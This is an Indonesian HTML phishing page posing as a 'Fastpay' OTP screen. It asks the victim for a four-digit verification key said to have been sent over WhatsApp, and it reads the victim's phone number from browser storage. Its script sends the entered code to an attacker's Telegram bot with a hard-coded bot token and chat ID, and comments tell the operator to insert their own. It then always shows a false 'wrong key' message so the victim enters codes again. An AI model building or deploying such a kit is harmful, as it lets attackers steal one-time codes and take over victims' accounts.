<!DOCTYPE html>
<html lang="id">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Fastpay Kode OTP</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 0;
      padding: 0;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      background-color: #f9f9f9;
    }

    .container {
      text-align: center;
      background: #ffffff;
      padding: 20px;
      border-radius: 10px;
      box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
      width: 90%;
      max-width: 400px;
    }

    h1 {
      font-size: 22px;
      color: #333;
    }

    p {
      font-size: 14px;
      color: #666;
      margin-bottom: 20px;
    }

    .alert {
      display: none;
      color: red;
      font-weight: bold;
      margin-bottom: 10px;
    }

    .otp-form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }

    label {
      font-weight: bold;
      color: #333;
      font-size: 16px;
      margin-bottom: 10px;
    }

    .otp-inputs {
      display: flex;
      justify-content: center;
      gap: 10px;
    }

    .otp-input {
      width: 50px;
      height: 50px;
      font-size: 24px;
      text-align: center;
      border: 1px solid #ccc;
      border-radius: 5px;
      outline: none;
      transition: border-color 0.3s;
    }

    .otp-input:focus {
      border-color: #ff5722;
    }

    .timer {
      color: #666;
      font-size: 14px;
      margin: 20px 0;
    }

    .submit-btn {
      width: 100%;
      padding: 12px;
      font-size: 16px;
      color: #fff;
      background-color: #bdbdbd;
      border: none;
      border-radius: 5px;
      cursor: pointer;
      transition: background-color 0.3s;
    }

    .submit-btn:hover {
      background-color: #9e9e9e;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>KEY Telah Dikirim</h1>
    <p id="phone-text">Silahkan masukkan 4 digit key telah dikirim melalui WhatsApp.</p>
    
    <div class="alert" id="alert-message">✖ Key salah, Silahkan Kirim Ulang</div>

    <form class="otp-form" onsubmit="handleSubmit(event)">
      <label for="otp">KEY</label>
      <div class="otp-inputs">
        <input type="tel" maxlength="1" class="otp-input" required>
        <input type="tel" maxlength="1" class="otp-input" required>
        <input type="tel" maxlength="1" class="otp-input" required>
        <input type="tel" maxlength="1" class="otp-input" required>
      </div>
      <p class="timer" id="timer">Mohon tunggu 100 detik untuk kirim ulang</p>
      <button type="submit" class="submit-btn">Masuk</button>
    </form>
  </div>

  <script>
    const phoneNumber = localStorage.getItem('phoneNumber');
    if (phoneNumber) {
      document.getElementById('phone-text').textContent = `Silahkan masukkan 4 digit key telah dikirim melalui WhatsApp ke ${phoneNumber}`;
    }

let timerElement = document.getElementById('timer');
let seconds = 100;

const countdown = setInterval(() => {
  if (seconds > 0) {
    seconds--;
    timerElement.textContent = `Mohon tunggu ${seconds} detik untuk kirim ulang`;
  } else {
    clearInterval(countdown);
    timerElement.textContent = 'Kirim ulang kode';
    timerElement.style.color = '#ff5722';
    timerElement.style.cursor = 'pointer'; 
    timerElement.addEventListener('click', () => {
      location.reload();  
    });
  }
}, 1000);

    async function handleSubmit(event) {
      event.preventDefault();
      const otpInputs = document.querySelectorAll('.otp-input');
      const otp = Array.from(otpInputs).map(input => input.value).join('');

      const success = await sendToTelegram(phoneNumber, otp);
      if (success) {
        const alertMessage = document.getElementById('alert-message');
        alertMessage.style.display = 'block';
      }
    }

    async function sendToTelegram(phoneNumber, otp) {
      const botToken = '6964240595:AAHzcYXal6nvSJwUpTKbWMyTZM2g2CohACw'; // 👈Ubah Menjadi Token Bot Kamu
      const chatId = '7173287452'; // 👈Ubah Menjadi Id Telegram Kamu
      const message = `Key: ${otp}`;


      try {
        const response = await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({
            chat_id: chatId,
            text: message
          })
        });

        if (!response.ok) {
          throw new Error('Gagal !! ©Wahyu Store');
        }
        return true; 
      } catch (error) {
        console.error('Error:', error);
        return false;  
      }
    }

    const otpInputs = document.querySelectorAll('.otp-input');
    otpInputs.forEach((input, index) => {
      input.addEventListener('input', () => {
        if (input.value.length === 1 && index < otpInputs.length - 1) {
          otpInputs[index + 1].focus();
        }
      });

      input.addEventListener('keydown', (e) => {
        if (e.key === 'Backspace' && index > 0 && input.value === '') {
          otpInputs[index - 1].focus();
        }
      });
    });
  </script>
</body>
</html>